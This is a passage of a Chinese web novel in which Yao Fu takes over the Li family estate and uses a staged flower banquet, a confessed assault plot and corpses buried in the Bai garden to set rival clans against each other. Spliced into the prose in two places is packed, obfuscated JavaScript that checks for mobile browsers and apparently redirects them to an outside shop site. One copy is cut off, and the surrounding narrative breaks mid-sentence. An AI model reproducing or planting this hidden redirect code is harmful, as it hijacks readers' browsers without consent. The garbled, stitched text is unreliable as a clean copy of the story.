应瑕蹲下身子,看着那捆了一半的人,揉了揉眉心,随后从姚复手中夺过绳索,把原本的那部分拆开,三下五除二把绳子绕着李小姐的杨柳腰捆了十几圈,连同双手也被绑在了绳子里,末了还使劲拽了拽,确保捆的结结实实,无论如何也挣脱不开。 应瑕特意留了个绳头拎在手里,稍微一用力便能提着李小姐把人拎起来,拎小鸡一样。 “嗯……虽然你那个绑法不好挣脱,但是这个更简单。”应瑕站直身子,仔细观摩了一下自己的成果,沉吟一会儿后说。 “……” 可是这样不好看诶。姚复心里想着,没敢说出来。 虽说是偷袭,但兵不厌诈,姚复也算是首战大捷,直接霸占了李家大院和所有家丁,获得了整个杏仁坊的支配权,哦对,还有私田。 李小姐她爹倒是专一,抓出来的李家人只有三个——李老爷,李夫人,李小姐。 怪不得李小姐能说出来“贬她为妾”这种屁话呢,敢情全是被惯的。 四月的天实在春光明媚,姚复一脸惬意地躺在那把家主坐的太师椅上,三个人被绑着站在一边,还有两个壮丁在后面押着。 那李姑娘头上的发髻歪歪扭扭的,脸上的脂粉也化了七七八八,眼圈儿红红的,估计哭了几次,有些干涸的铅华沾在颊上,这会儿死死咬着嘴唇,一副楚楚可怜的样子。 李家二老倒还算体面,两个人靠在一起,十分安静,两人头发都是灰白参半,脸上也是沟壑纵横,既没有心血尽弃的悲哀,也没有对罪魁祸首的怪罪,只是安静地依偎在一起,也不多说什么。 姚复正在盘算着怎么开口问城中其他势力的具体情况,李家家主忽然开口了:“这位大人,我们夫妻年过半百,也没几天好活了,您要杀要剐悉听尊便。只是我女儿不过二八年华……” 说到李小姐,李家家主扑通一下跪倒在地,他夫人也随着垂泪跪下,李小姐哇的一声又哭了,跟着也跪了下来,三人头挨着头,跪成一片,屋里弥漫着哽咽声。 姚复从椅子上站起来,走到他们三人面前,俯视着这一家三口:“……我什么时候说要杀人了。” 哭声戛然而止,三人齐刷刷抬头看向姚复,李小姐脸上还带着懵懂的神情,李家主朝着他夫人递了个眼色,他夫人半垂眼睑,不卑不亢地说:“妾身小时候也碰到过这般情况,全家人都死于非命,妾拼死才……” 姚复差点笑出来,要不是李夫人脸上这幅无悲无喜的表情,他也许就真信了。哪有人揭开自己的伤疤时能面不改色,不流露出哪怕一丝悲伤的? “我不听你编故事。”姚复蹲下身子,和老李平视,“我说说你犯了什么罪。” 老李眼中流露出惊讶,满脸焦急地坐直了身子,着急地自证:“大人不要信口雌黄,这武陵城十几个家族,我李家勉强也能挤进三甲,还不是因为我家善待下人?这杏仁坊的百姓可是都受过我家恩惠,我家势力才做大的呀!” 姚复脸上露出怀疑的神色,那老李见他不信,更是着急,甚至是膝行向前了两步:“你怎么不信呢!这城里哪家没沾过人命,可我家是名正言顺靠着声望发达的!我敢打包票,这满城上下也就我家宽以待人……” 姚复突然笑了,从袖子里掏出李姑娘那只香囊,提溜着在二老面前晃了晃,说:“你闺女怎么跟你们说的?遇到了良人?还是根本没说?” 李小姐涨红了脸,二老神色倒没什么变化,老李甚至说:“姑娘赠给心上人香囊不是很正常?我家闺女……” “你家闺女接了我送的小礼物就要以身相许。”姚复面无表情地接上下半句,“这是多没见过好东西?你教女无方,还敢说没罪?” 老李噎的说不出话,羞愧地低头,姚复又提着香囊转向李小姐:“怎么,不敢说话了?昨天不是挺大胆?我问问你,你知道我姓甚名谁从哪来吗?知道我年龄几何家中情况吗?你什么都不知道,怎么就敢招我做夫婿。你看,这不我就推了你家。” 李小姐别过头去,不肯说话,只是眼泪哗啦啦往下流。 姚复忽然绽放一个更灿烂的笑,并伸手指了指梳了个垂髻,刚刚慢悠悠走过来,正坐在太师椅上吃糕点的应瑕:“你看,那个是我妻子,没你年轻,但比你漂亮。” 李小姐抬头看了应瑕一眼,眼泪流的更凶了,一边抽抽噎噎地说:“那、你还说、糟糠之妻……” “所以不要轻信别人的话。”姚复把香囊抛到李小姐身边的地板上,“你才十六,人生也过了十之三四了,该长个记性了。” 姚复揉揉蹲的发麻的腿,站起身来,问老李:“你仔细给我说说这城里都有什么势力什么家族盘踞在什么地方手里多少兵丁……” 昨天摸到的信息终归不必某个权利高层的当事人说的清楚。 老李看了女儿一眼,才开了口。 “城里有十几个势力,最为强势的是北边的赵家……” 赵家、白家、李家是这城里最为势强的三个家族了,赵家和白家是百年世家,财力人丁都旺盛,不到两个月便雄踞了一方,李家完全是靠着与人为善的声望撑下来的,不少百姓愿意为李家卖命。角落里还有个韩家,跟李小姐有一门娃娃亲,不过李夫人不认——这两家是世交,前两年屈郢没起兵时韩家家贫,现在李家势起跟着鸡犬升天了。 “司空谷不在还真是麻烦……”姚复听完那一串概况,感觉头都大了,要是司空谷在这儿,不用他说就能把消息收集齐全。 姚复坐回太师椅上,让人把李家三口松开了:“你家两个老人一个小孩,放在外面活不了多久,在庄子里随便找间房子住下好了,粮草每月会送过去……这大宅子别想!归我了!庄子也归我了!” 老李搀扶着他夫人,不住地点头,他夫人仍旧是满脸云淡风轻。 “你闺女要出嫁了我也包嫁妆……”姚复歪着身子,背靠那桌子,一条腿搭在椅子扶手上,抚着下巴想着什么。 要是能把这个李小姐早些嫁出去就好了,这丫头天天冒着傻气,昨日才为了男人卖了爹妈,保不准哪天姚复也得被她坑一把。 话说到一半便没音了,那李家父女见姚复不再说话,便悄悄下去了,他们也是不敢偷偷跑出去的,现在江南乱成这个样子,这武陵又有不少嫉恨他们家的,失去了庇护就是死路一条。好死不如赖活着,且学着越王勾践卧薪尝胆罢,能不能东山再起另说,反正小命得先保住。 “双福啊,你说我上哪弄个谋士来?”姚复忽而问应瑕,现下两条腿都搭在扶手上了。 应瑕看了他一眼,冷声说:“坐直了。” 声音里透着一股愠怒,好似包藏着雷霆万钧,姚复赶紧把腿收起来,老实把屁股正放在椅子上,顺便赔了个笑。 “谋士倒是不急。”应瑕不知道从哪间房里弄出了一串珠子,光华璀璨,在她瓷白的手腕上闪着迷人的光彩。手腕的主人举着珠子看了又看,半晌才说:“咱们现在势单力薄,还得等做大了才敢招谋士,否则人家凭什么过来。” “喜欢呐?”姚复也盯着那手串,没头没尾地问。 应瑕不明所以的点头。姚复忽而喊了一声:“新涂——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220851|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姚复早上见着新涂在门口看落花,甚至调笑了他两句:“你这粗人什么时候也有这闲情雅致了!” 新涂当时只笑了笑没说话,这一会儿竟还在外面,循着声就进来了:“什么事——” 姚复再次歪倒在椅子上,说:“哦,你瞅瞅李家库房里有没有什么好看的亮晶晶的首饰啥的,多拿几串出来,让双福挑挑……让大家都拿些,好送给老婆孩子。” 新涂领了命便走了,应瑕站起身,踢了姚复屁股底下的椅子一脚:“土匪做派!” 姚复感到椅子微微晃了一下,应瑕踢完之后就走了,留他自己在那椅子上缩着担心谋士的事。 可应瑕说的一点没错,现在姚复的势力充其量也就算个土匪,哪里有谋士愿意来效劳尽忠,人家也不是傻子。 这李家的东西确实齐全,姚复从中还翻到了几张武陵的地图,上头详细标注了城中各个势力的名称、分布。他家也养了近千人的兵丁,足够剿灭一众小家族了——可惜姚复手里还是没有谋士。 当天夜里,姚复叫来了新涂。 新涂一向早睡早起作息健康,贸然被叫进来是有些不满,但这人忠厚老实,只想会不会有什么急事,进来时脸上甚至带着一丝担忧。姚复把地图用镇纸压平放在案上,见新涂推门进来,便拍了拍身边的席子,示意他过来坐下。 新涂坐在了姚复对面的位置上,伸手挪了挪烛架,好让烛光更好映照桌子上的地图——那纸上已经被姚复用朱笔圈了几个圈,做重点标注起来,最为显眼的便是那赵、白二字,被重点标注了几遍,其间还用双边箭头连了起来。 “新涂,咱们端下李家的事儿传出去没?”姚复头也不抬,只有声音飘进新涂耳畔。 新涂摇摇头:“没,你一开始动手我就叫人封了这庄子。昨天也就一个自称韩家少爷的人过来,兄弟们把他打出去了。现下这事儿城里应该还没传开。” 姚复抬起头,看着新涂笑了起来:“干得好。我正打算把李老头推出去做傀儡呢。” 新涂有些不解地挠挠头:“这家子几千个兵丁,现在都归你管,你要名正言顺的立足又不是不行。” 姚复把笔放在一旁的笔架上,换了支墨笔,继续在地图上勾勾画画,只说:“咱们现在是逃犯……不拿下武陵城,这城里任何一个人都能对我们口诛笔伐。” 新涂眼皮跳了跳,姚复又接着说:“而且我也没有谋士,咱们只能用些下三滥的手段……反间计怎么样?” “离间谁?”新涂硬着头皮问,姚复能想到这个,肯定是又要指使他做事了,一旦忙起来,就没法给赤玉写信了,又要和她断了联系。姚复美人在怀夫妻团聚,根本就不理解他们这一对远在天边只能靠着驿寄梅花鱼传尺素互诉衷肠的苦命鸳鸯的感受! 姚复猛然抬头,用一种看傻子的目光看向新涂:“赵家和白家啊。他们两家似乎有姻亲关系,也有生意往来,形同一体,不好对付。” 新涂点点头,忽然又感到如芒刺在背,几乎是坐立难安。 “虽说这两家权势最大,但总不能……” 总不能只盯着这两家。 姚复放下笔,拍拍手,夸赞道:“聪明。这城里地头蛇的势力也是盘根错节,所以你得装成李家的门客,把这些根系全部拔掉,确保咱们一家独大。” “所以你叫我去打仗?!”新涂猛然站起身来,动作幅度太大以至于碰倒了那笔架子,姚复赶忙一扶,困惑地问:“怎么了?你已经是最适合的将领了……” “不是……”新涂扶额坐下,也不知道怎么和姚复开口。 领兵打仗新涂不是不能接受,以后打仗的时候多着呢,只是他前天给应琼的信里刚说抽空会去见她一面,现下姚复说要在城里吞并别的势力,接下来几个月都得忙活,哪还有时间赴约去。 “罢了,我去。”新涂妥协了。 儿女情长什么时候再叙都不为过,家国大业才是当紧的事,得抓紧时间叫姚复在这武陵城立足。只能回头抽时间再给应琼写信解释了。 16. 第16章 过了约莫半个月,整个武陵城的百姓都听说了杏仁坊的李家将要在端午当日举办一场百花宴,说是宴请宾客,庆贺李家麾下得了一员大将,实际上明眼人都知道,这是要为李小姐择婿啊。 虽说李小姐和韩家十三郎有娃娃亲,但人李家家大业大,又只得这么一个闺女,肯定是要招赘婿的,韩家算是与李家势均力敌,李老爷怎么也不会把女儿嫁出去,平白为韩家添了嫁衣。 何况李小姐的外祖父从前在淮扬一带当过官,只是不幸遭政敌算计丢了命。李家也算个书香门第,韩家不过是个从商的破落户罢了。 城里的妇人一个个都嘱托儿子打扮的好看些,好挣得小姐的芳心;而能排的上号的公子,有一个算一个,百花宴当日算是八仙过海各显神通,争先恐后地去朝着李小姐献殷勤——李老也没设门槛,想来的都能来,也给了许多小家族的公子哥机会。 至于平民,门不当户不对,比不过有钱人家,大多也就望而却步,退出这场争斗了。 这可是个巴结李家的好机会,但凡李小姐赏脸,就能带起某个小家族的荣辱兴衰。 当初一听说李家要办百花宴,白夫人立刻让出了自己承包的百亩花田,据说白夫人请了不少能工巧匠,这种日头花田里竟真有百花盛放。那花田中间还修了个人工湖,附带着一个湖心亭。白家只有儿子,没有女儿,想必白家主是打算弃车保帅,将某个儿子赘进李家,再慢慢筹谋人家的家产。 白家的七公子便是第一个陪着李小姐逛这园子的人,还没到开宴的时辰,他便殷勤地领着李小姐在花田里逛了开,尽管他是热脸贴冷屁股——李姑娘看着是郁郁寡欢,对白七是爱搭不理,偶尔才“嗯嗯”地敷衍两声。 “李姑娘,虽说到了五月,这四月花也还有最后一茬开的正好,还是这牡丹最称你。”白七手指着一束开的正好的芍药,笑着对李小姐说,“那李白不是写过什么‘水蝶岩蜂俱不知,露红凝艳数千枝’吗。这花开的秾丽,就……就像你一样。” 李小姐强忍住翻白眼的冲动,才撑起一个极为勉强的笑容,指指那花儿,对白七说道:“白公子看错了,这个是芍药花。” 随后她微微垂下头,手指捏紧了扇子柄,深呼吸了两次,又抬头露出一个状似天真无邪的笑靥:“‘水蝶岩蜂俱不知,露红凝艳数千枝’是李群玉赞叹灵露寺杜鹃所写的诗。” 白七不以为意:“有什么关系,反正这花儿跟你一样好看。” 李小姐看着那朵中心尚且开的艳丽,花托附近的花瓣已经萎缩的芍药,觉得头皮都要炸了,要不是姚复差她来应付这个蠢货,她甚至不想进这花田一步。天知道这花田底下埋的什么东西。 “呵呵……”李小姐干笑了两下,提议道,“快到开宴的时间了,我们到湖心亭去吧。” 白七还想再在花田里走一会儿,向李小姐展现自己的博学多才,见对方想要离开,霎时眉间凝起一缕戾气,正要发作时想起了白夫人的嘱托,只能忍气吞声地答应:“好。” 说罢他便想去挽李小姐的胳膊,被后者不动声色地躲开了。 湖心亭里站着一个端着果盘等候的下人,李小姐定睛看到他后就急急坐下了,白七极其不满此人的出现,原本这亭子里只有他和李小姐两人,他做些什么也不会有人发现,这下可好,什么也做不成了。 白七狠狠瞪着那下人,半带威胁地就要撵人:“你待在这儿干什么!快滚!” 下人谦恭地站在那,垂着头说:“我家老爷叫我早早等着小姐来,不得小姐命令,我不能走。” 白七走到下人面前,猛然抬起那下人的脸,一双半睁不睁的柳叶眼玩味地看着他,里头承载着戏谑、嘲讽,还有深不见底的算计。两片薄唇扬起一个恰到好处的弧度,怎么看怎么惹人厌烦。关键是他长的比白七好看了不知多少倍。 更可气的是这人比他高上半头。白七有些愠怒地说:“你家小姐往后也是我的人,你小姐夫婿的话听得不听得?” 下人微笑着摇摇头。 白七雷霆大怒,抬脚就要去踢那下人,下人灵活闪身,躲过那一脚,顺便把果盘放在了桌上。倒是白七一下踹到了栏杆上,脚被震的生疼。 “你妈——”白七怒骂一声,“乃翁今天就教教你一个下人,什么叫做尊卑礼仪!” 说着便兀自掀了桌上的盘子,这个时节南方水果不少,可这果盘里端的还是当下多产的水果,什么樱桃枇杷倒还好说,可那半盘桑葚结结实实洒了李小姐一身,红红紫紫的果汁全都沾染在她今日穿的淡粉色罗裙上,好似粉荷花沾了蚊子血。 李小姐惊呼一声站起来,白七方才注意到干了什么,手里的果盘一下不稳,也结结实实砸在了李小姐身上。 “李姑娘,我并非有意……”白七慌乱的找补,甚至扑上前去,试图用袖子擦李小姐裙子上的污渍。 李小姐嫌恶地后退几步,直到倚在栏杆上,退无可退。 那下人双手环抱,倚在另一侧的栏杆上看好戏。 李姑娘抬头向下人投去一个求助的目光,那下人瞥瞥不远处的水榭,里头是一众赏景的男女。李小姐抬眼看去,里面是一些家族的家主和夫人,还有几个同样是来参加宴会的公子姑娘。 于是她卯足劲大喊一声:“白公子,你别再过来了!!!” 白七吓了一跳,只当是李小姐还没消气,正打算再上前,那边的水榭里便传来一声怒喝:“逆子!” 是白七他爹老白。白七循声望去,两腿一软,直挺挺跪在地上,紧张地吞咽了几口口水,一句话也说不出来。和李小姐一同游园这事本先轮不到他这庶子的,和李姑娘同龄的兄弟有三个,若不是他那做妾的母亲手段高超,跪在这里的就是别人。因此他最是害怕出错,被他爹挑到一次失误都会丢了性命,现在几家的夫人小姐都在上头看热闹,怕是往后他的日子会更不好过。 水榭里已经响起了议论声,老白嚷嚷着叫人备船,拉着白夫人便寻路下去了,其他家族来的人也都跟着下去了。老李和李夫人站在上头忧心忡忡地往下看,应瑕躲在他俩背后悄摸比划着什么。还有个年轻人,穿着靛蓝衣袍,一把脱了外套,丢给了旁边的姑娘,自己则翻过栏杆,跳进了水里,一路游到了湖心亭。 韩十三郎韩玉笙。 韩玉笙一上岸先给了白七一脚,他对待这门婚事的态度和李小姐明显不太一样。踢完一脚不过瘾,他还拎着湿漉漉的衣摆按着白七打,嘴里还一边骂着什么东西,这小子看样子练过,而白七不过是个单纯的纨绔子弟,几乎毫无还手之力。 等到一群人撑着十几只小船将要划到湖心亭旁边时,李小姐堪堪劝阻两句,韩玉笙才停了手,此时白七已经被打成猪头了。 老白怒气冲冲上了岸,看见儿子被打成这幅死样子,顿时又心疼起来,张口就斥责韩玉笙:“韩公子,这到底是我白家,如此公然殴打我家公子,就是你的教养吗?” 韩玉笙一脸无所谓的样子,听到老白的斥责,也不过漫不经心地掏掏耳朵:“嗯。” 他爹妈没出席,他和他妹妹跟着李家夫妇来的,在场的谁也没那个资格管着他。嗯……除了李小姐。 白老到底不是毛头小子了,这下冷静下来才意识到自己方才在一众家族的家主前失言,韩家势力也不小,和李家关系也是千丝万缕,撕破脸总归不好看。他见了韩玉笙这态度,也不怎么生气了,只一手握拳掩唇轻咳说道:“某也是爱子心切,一时失言,诸位见谅。我这逆子吧,韩公子想打也罢,只是说君子坦荡荡,咱们向来推崇能言则言,要打也总得有个理由去动手吧。” 这便是把韩玉笙架在了火上烤,白老言里言外都在说他意气用事,鲁莽不堪,若是说出了理由便是他心胸狭隘,没有理由便是他不是君子。 可惜韩玉笙不吃这一套,人家行商的生意人,来往应酬脸皮也厚,老白这一套针对儒生的说辞着实没啥用处。韩玉笙站在一边,看了看惊魂未定的李小姐,又看了看跪在地上的白七,最终直视着老白,说:“孔子还说什么以直报怨呢,他难道不是君子?你先问问你的好儿子想对我未婚妻做什么,再跟我说话。” 老白眼珠子一转,看向白七:“老七,你说说你干了什么?” 白七跪在地上,惊恐地看了韩十三郎一眼,最终咬咬牙说:“我,我不过一时冲动……碰洒了果盘,弄脏了李小姐的衣服……” 老白弯起一双精明的眼,看向韩玉笙。韩玉笙使劲踢了白七一脚,后者被踢的往旁边一倒,随后又迅速爬起来,说:“我说,我说。我是想着支开李小姐的下人,好生米煮成熟饭……” 李小姐的脸色霎时白了,船上的人群爆发出一阵惊呼,随后便是更大声的议论。李夫人站在水榭上,一边把身上能丢出去的玉佩香囊,金簪银钗都拔下来往湖心亭里丢去,嘴里还一边叫骂:“你这个丧良心的呀!怎么敢干这种千刀万剐的事儿!” 李老则是在上头破口大骂,很难想象一个书生能说出来这么多脏话。老白和白夫人的脸色一个比一个黑,两人脸上都挂不住,又什么都不好说。这样下去白家能被全城人口的唾沫星子淹死。 “我儿天性纯良,定是背后有人指使。”老白为了全家的名誉,舔着张老脸替儿子找补,甚至满脸慈祥地蹲下问:“ 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但白七见有了个台阶,立时连滚带爬往下走:“对,对。就是五郎教我这么做的……他说只要强上了李小姐,她也无处说理,那李家为了女儿定然会把家产乖乖奉上……” 老白立时转过头找老赵,微笑着说:“我儿子都这么说了,看样子咱们两家得好好谈谈了。” 随后他便叫下人撑着小船走了。 老赵瞪了韩玉笙一眼,转过身子,叫船童划桨,韩玉笙舔舔嘴唇,忽然大喊:“哎呀赵叔白叔,你们怎么就走了啊?这七公子可怎么办啊?” “死了算了!”老白头也不回。 韩玉笙笑笑,又踢了白七一脚:“你爹不要你啦!” 闹了这么一出,百花宴就真成了百花宴,大家都跟着去看白夫人培养的那千百种花卉了。人们陆陆续续离开,几个公子还恋恋不舍往亭子里看,碰上韩玉笙凶狠的目光后就又火速撤开了。 待到众人全部撤开后,水榭上的四个人也下来了。 那个小姑娘是韩玉笙最小的妹妹,在家里排第十七,叫做韩玉童,便也是她闹着要看花儿韩玉笙才来的。 几个人上了亭子,李小姐也知道往后要谈一些不便外人旁听的事情了,便揉着裙子,问韩玉笙:“你们还不走?不去赏花?” 韩玉笙劈手打晕了白七,又装出一幅可怜的样子,满脸乞求地问姚复:“姚大人,这些事我也都知道。你们别避着我们啊,我嘴很严的……” 姚复颇有些为难地看向应瑕,他不想让韩家人旁听,虽说这事不涉及韩家的利益,但难保韩玉笙和韩玉童不会说出去。这种事他不好定夺,有些时候还是应瑕更有远见。 应瑕微微颔首。 韩玉笙笑了起来,接过韩玉童手里抱着的衣服又抖开,除了他那件宽大的靛蓝外袍,还有一套裙子,衣裳流光溢彩,散发着璀璨的光华,外袍点缀着翡丽的鸟羽,整件衣服奢华而又不失风雅,想必没有哪个姑娘能拒绝它。 “翡羽,这件羽衣是我爹从阖闾城弄来的,据说是哪个富商要送给闺女的,被我爹买回来了,我花了大力气偷、咳拿出来,打算送给你。”韩玉笙把衣服塞进李小姐手里,“本来这玩意是我爹要给十四的,我觉着给十四那个蠢货是真亏,不如给你。” 李姑娘抚着衣服上的翠羽,鼻头有点发酸。韩十四姑娘前些年跟一个江湖医生走了,听说现在在北边的汉昌开了医馆。 姚复翻了个白眼,说:“行了行了,你俩的儿女情长晚些时候再说。现在赵家和白家有了隔阂,咱们得想办法……” 姚复瞪大眼睛,两只手举到胸前,做拉扯妆,说:“……把它撕大一点。” “这个我知道!”韩玉笙马上高高举起手,大家都侧目朝着他看过去。 韩玉笙丝毫不觉尴尬,依旧兴高采烈地说:“老赵他大孙子一直喜欢白九,干了不少坏事;还有白家的一个妾和老赵有染;黄家有个妾被主母逼疯了关在后院;还有这个白七,他之前向我妹求过婚不过玉筝隔天就跑了都是白七的错……” 黄家是赵家的一个狗腿子。 韩玉笙这么一大串话,包含了不少秘辛,在座的都傻眼了。 半晌,老李才说:“姚、姚大人呐,要不,我们先带翡羽去赏花,多套几个公子?” 姚复点点头,老李连忙拉着女儿上了船,韩玉笙在后头大喊:“套那个老赵的长孙啊!!!他不喜欢女的!!!” 叫韩玉笙看着未婚妻被当鱼饵钓大鱼,还是太难了,去勾引一个不喜欢女人的还能凑合凑合。 17. 第17章 李小姐不在这儿了,韩玉笙自己待着也没啥意思,便和韩玉童也摇着小船走了。百花宴还是百花宴,这万千鲜花不过只有一朵鲜活,余下的都做了那五月花的陪衬。 应瑕理理衣摆,坐回凳子上,漫不经心地问:“这百花宴还要看吗。” 本来办这个宴会的目的本就是挑拨离间,现在已经初步达成了,只等着后续的行动将误会越撕越大。况且万物生长有时,让这些花儿齐放在五月本就有违天命,怕是宴会办过不久花枝就得变成肥料了。 姚复微笑着摇摇头:“剩下的交给那一家子足够了。我看那花园里埋了不少东西,咱们还是不要去凑热闹了。” “看花吧,看这荷叶荷花。” 他一颗颗捡起方才被白七摔在地上的葡萄,装回盘子里,又一颗颗丢向池塘深处。葡萄击打在荷叶上,又落尽池水,惊走了花苞上的蜻蜓,打散了茎叶下的鱼群。 李夫人和李姑娘是最后到花园里去的,李夫人拉着她寻了个僻静角落说了好久悄悄话,偶然路过的几个人都觉得她在开导宽慰自家闺女,耽误了一些时间。韩玉笙和韩玉童连衣服都没换,老早跑到了花园里。大家本先都寻思着搭不上李家这条线了,便只好到花园里看个稀奇。这下李小姐来了,也没见韩玉笙多分两个眼神,甚至是有些敬而远之的态度,便又燃起了希望,纷纷叫自家儿子上前献殷勤去了。 老李笑了笑,挽着李夫人的手,跟着主事的家主夫人们上了一条路,李夫人微笑着拍了拍李小姐的肩。公子们会意,便拥着李小姐往另一条香径上走去了。 都是些相貌在自家兄弟里算出类拔萃的公子,簇拥着李小姐,介绍这个花那个花,要不就是见缝插针吟两句写花或是写爱情的诗歌,或是赠给李小姐一些绣着牡丹的香囊团扇,或是镶嵌着硕大花朵的头饰。他们可是都做足了工作,知道李小姐喜欢相貌好的、会吟诗的,出手阔绰的,喜奢华不爱素雅,喜牡丹不爱芍药。 这些是老李故意放出来的,其实李小姐喜欢什么没有准头,从来都是只看眼缘,譬如当时姚复顺手送的团扇和方才韩玉笙送的羽衣。 韩玉笙偷了圃匠的铲子,躲在一棵巨大的丁香树的紫色花幕后面使劲挖土,韩玉童则站在一边装作赏花,实际上盯着李小姐一行人的动向。 “哥,他们走过来了。”韩玉童见着李小姐拿着团扇往这边走来,连忙出言提醒了一句。韩玉笙擦擦额头上的汗,看了看自己刚刚刨出来的大坑和挖出来的东西,满意地笑了一下,说:“成,咱们去那边继续挖。” 韩玉童不知道他挖出来了什么东西,只知自己要是没能在他们走过来之前转移到另一边,韩玉笙就不会给她买炸鸡,便屏住了呼吸,拎起今日特意穿的淡绿色裙摆,蹑手蹑脚从花幕后面走到了旁边那棵石榴树下。 韩玉笙随着韩玉童移动而绕着那坑转了一圈,把那坑里的东西挡的是严严实实,韩玉童又身材娇小,竟一点也见不着他挖出来了什么,只得撇撇嘴,安慰自己肯定不是炸鸡。韩玉童走远之后,韩玉笙也迅速挪到了那石榴树下,这回他把铲子丢到了附近一丛紫荆花底下,好掩藏坑是自己挖的事实,直接拿脚开始踢土,直到土层里露出一截布料,便站到一边装作赏花了。 韩玉童斜睨了那块布一眼,嘴里嘟哝道:“什么啊,丝绸这么金贵的东西居然被白夫人拿来养花……” 她哥听到这一句话,不知道想到了什么,从袖子里掏出一块银子递给她:“拿着。花圃的后门在那个蔷薇架子后面,你自己出去买东西吧,玩够了买好了就在那边的医馆等我出去。” 韩玉童拿着整块银子,登时乐的喜笑颜开,她比李小姐还小上一岁,也不是家里最受宠的女儿,零花钱连买只烧鸡都不够,见着这整块银子自然高兴,也不再惦记她哥到底在搞什么了,只把银子揣进袖子里,高兴的抱了韩玉笙一下:“十三哥!你真是最好的哥哥!” 十几个哥哥,只有十三哥愿意给她一整块银子啊! 韩玉笙不耐的摆摆手,韩玉童欢天喜地地跑向蔷薇架子,一扭身便出了门买她心心念念的炸鸡去了。 另一边,李小姐也恰巧走到了花幕前面,有个公子想折一枝花儿赠给李小姐,头一个跑到花幕后头,自然而然见着了那大坑,看清了坑里的东西后爆发出一声响遏行云的尖叫,随后脚一滑摔进了坑里,又手脚并用地赶紧爬了出来。 其他人一听声音,都绕到了后面来看热闹,李小姐夹在人群中间,满脸厌恶:“你一个大男人,大惊小怪什么。” 说着她便拨开人群,往前面走去,想看看到底是什么玩意,只见坑里躺着一具已经高度腐烂的尸体,散发着阵阵恶臭,半边人脸已经化为了白骨,青紫色的肌肉隐隐可见,李小姐也尖叫一声,慌不择路地往后跑去,扶着附近一棵树便吐了起来。 几个公子哥哪里见过这场景,也是吓得不知所措,一时间整个花园都弥漫着尖叫声,不远处的韩玉笙装作惊慌失措的样子,往那边跑去,脚下却被那一小截布料给绊倒了,连带出半截发青的手臂。 他登时也尖叫起来。 还好韩玉童已经被他打发走了。 老爷夫人们也差不多到了这边,一听到孩子们的叫声顿时都跑到了这边来查看情况,李夫人走在前面,轻轻拍着李小姐的背,不动声色地扶着她走的远了一些。一行人看到坑里的东西后神色各异,白夫人的脸色则是变的煞白。 老白强忍着恶心:“试问哪家没打死过几个婢女?孩子们少见多怪罢了。” 也不知道谁挖的坑,叫他找到了非得剥皮萱草示众不可。 韩玉笙不知道什么时候挤到了人群中,从一众吐的七扭八歪的公子中间站起身,强忍着恶心说:“白叔,你对下人真好。我家婢女都是穿粗布麻衣,你家穿的丝绸哇。” “呵呵……”老白尴尬地笑了笑,“不知是哪个不长眼的把尸体埋在这儿,倒大家的胃口,改日我定然会责罚……” 韩玉笙撇撇嘴:“这园子不是只有白夫人能进?” 白夫人咬紧下唇,十根手指慌乱的绞着手帕,好在没人注意她的一样,也没几个人把韩玉笙的话当回事。在座的都是活了几十年的老油条,韩玉笙怎么也算个孩子,目前还没什么说话的份儿。 他打白七那一顿大家都记着呢,也不敢搭他的腔。 韩玉笙自知无趣,便扭过头去,说:“白叔,我见那棵石榴树下也有东西,不过刚刚急着过来看翡羽,没仔细看。” 命案发生在白家的花园里头,老白再怎么也得硬着头皮去看看是不是个人,好叫大家的心放下来。 待走到近前,才看清那是一只人手,那细伶伶的手腕上还挂着一只金镯子,像是某个小妾。老白咽了口口水,想告诉大家什么也没有,可有一家的夫人已经走到了前面,捂着嘴喊出来:“那是一只手吗?” 众人一拥而上,打算看个究竟。那黄夫人前些日子被老白摆了一道,他家又是赵家走狗,巴不得事情越闹越大,便高声说:“还带着金镯子哩!保不准是哪个小妾回娘家却被奸人害了一去不返!再怎么她也是你的物件,总得好生安葬不是?” 一边说她还一边若有若无地看着白夫人。虽然没人完全相信韩玉笙的话,但好歹也能听进去一二的。 老白硬着头皮点头,对白夫人说:“去把你那圃匠叫过来。” 白夫人心中不安,也不敢违抗丈夫的命令,只好应了一声便离开了。老白又把矛头对准韩玉笙:“玉笙啊,你说你见着尸体也不怎么慌张,不会是你埋的吧?” 韩玉笙被那群公子的呕吐物熏的脸色发白,跟害怕尸体也没什么两样,老白觉得他心怀鬼胎,看着跟常人无异,其他人就未必了,老李头一个站出来:“玉笙跟那些孩子脸色有什么区别?老白,你可别信口雌黄!再者他一个男人,怎么可能到你家夫人的花园里去藏尸。” 韩玉笙捂着胸口,咳嗽了两声,勉强从熏天的恶臭中呼吸两口,说:“你要冤枉我我也百口莫辩啊,白叔。” 一众贵夫人纷纷倒在了韩玉笙那边,一个个都举着扇子,挡着脸,互相议论着老白的行径。 “哼。”老白显然对这些说法不怎么在乎,他本来也不是什么良善之人,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漂亮的送到当地的高门大户,不好看的卖到青楼楚馆做歌妓,世道就是这样,男人过的不好了,就典妻卖子,何况是身份低微的妾室。好在老韩有良心,最难的那几年也没卖掉最小、庶出、又是女孩的韩玉童。 老白当然也认识这个妾,只是他绷着脸不敢说,两家外交认识人家的正牌夫人就足够了。 “是吗。”老白硬邦邦说了一句,“这我也不知道啊。” 死了一个妾没什么,只是总得出口恶气。老赵摸着胡子问:“那你怎么解释她出现在你家呢?” “这又不是我的园子!”老白反驳道,眼珠转了两圈,却没见白夫人的影子,连忙对着圃匠说:“去把夫人叫过来!快去!” 韩玉笙抱胸站在一边看热闹:“哎哟,夫妻怎么还分两家之言呢?” 